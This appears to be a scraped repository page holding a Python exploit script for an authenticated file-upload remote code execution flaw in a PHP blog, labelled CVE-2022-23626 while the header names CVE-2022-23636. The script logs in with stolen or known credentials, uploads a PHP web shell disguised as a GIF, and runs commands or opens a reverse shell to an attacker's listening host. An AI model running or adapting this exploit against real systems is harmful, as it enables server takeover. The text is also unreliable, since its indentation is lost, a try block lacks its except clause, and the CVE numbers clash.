README.md
README.md not found for CVE-2022-23636. The file may not exist in the repository.
import argparse
from base64 import b64encode
import requests
def get_args():
parser = argparse.ArgumentParser(
description='Authenticated RCE File Upload - CVE-2022-23626',
epilog='Examples:\n'
' python3 cve-2022-23626.py --url http://localhost:8080 -u admin -p admin -c id\n'
' python3 cve-2022-23626.py --url http://localhost:8080 -u admin -p admin -lh 172.16.1.2 -lp 4444',
formatter_class=argparse.RawDescriptionHelpFormatter,
)
parser.add_argument('--url', help='Base URL for the Blog (e.g. http://target:8081)', required=True)
parser.add_argument('-u', '--username', help='Blog username', required=True)
parser.add_argument('-p', '--password', help='Blog password', required=True)
parser.add_argument('-lh', '--lhost', help='Listening host for reverse shell', required=False)
parser.add_argument('-lp', '--lport', help='Listening port for reverse shell', required=False)
parser.add_argument('-c', '--command', help='Custom command to run instead of reverse shell', required=False)
return parser.parse_args()
def get_tokens(url):
resp = requests.get(url)
if resp.status_code != 200:
print(f'[!] Failed to reach {url} (status {resp.status_code})')
return None, None
cookie = resp.cookies.get_dict().get('PHPSESSID')
if not cookie:
print('[!] No PHPSESSID cookie found')
return None, None
try:
csrf = resp.text.split('":"')[1].split('"')[0]
except (IndexError, AttributeError):
print('[!] Could not find CSRF token')
return None, None
print(f'[+] PHPSESSID: {cookie}')
print(f'[+] CSRF-Token: {csrf}')
return cookie, csrf
def login(url, cookie, csrf, username, password):
resp = requests.post(
f'{url}/ajax.php',
headers={'X-Requested-With': 'XMLHttpRequest', 'Csrf-Token': csrf},
cookies={'PHPSESSID': cookie},
data={'action': 'login', 'nick': username, 'pass': password},
)
result = resp.json()
if result.get('logged_in'):
print('[+] Login successful')
return True
print(f'[!] Login failed: {result}')
return False
def upload_shell(url, cookie, csrf, command):
php_code = f"GIF89a<?php system(base64_decode('{b64encode(command.encode()).decode()}')); ?>"
resp = requests.post(
f'{url}/ajax.php?action=upload_image',
headers={'X-Requested-With': 'XMLHttpRequest', 'Csrf-Token': csrf},
cookies={'PHPSESSID': cookie},
files={'file': ('shell.gif.php', php_code.encode(), 'image/gif')},
)
result = resp.json()
path = result.get('path')
if not path:
print(f'[!] Upload failed: {result}')
return None
print(f'[+] Shell uploaded: {path}')
return path
def trigger(url, path):
print('[*] Triggering payload...')
try:
resp = requests.get(f'{url}/{path}', timeout=5)
# Strip the GIF89a header
output = resp.text.replace('GIF89a', '').strip()
if output:
print(f'[+] Output:\n{output}')
print('[+] Done')
def main():
args = get_args()
if args.command:
cmd = args.command
elif args.lhost and args.lport:
cmd = f"php -r '$sock=fsockopen(\"{args.lhost}\",{args.lport});exec(\"/bin/bash <&3 >&3 2>&3\");'"
else:
print('[!] Provide either --command or both --lhost and --lport')
return
cookie, csrf = get_tokens(args.url)
if not cookie or not csrf:
return
if not login(args.url, cookie, csrf, args.username, args.password):
return
path = upload_shell(args.url, cookie, csrf, cmd)
if not path:
return
trigger(args.url, path)
if __name__ == '__main__':
main()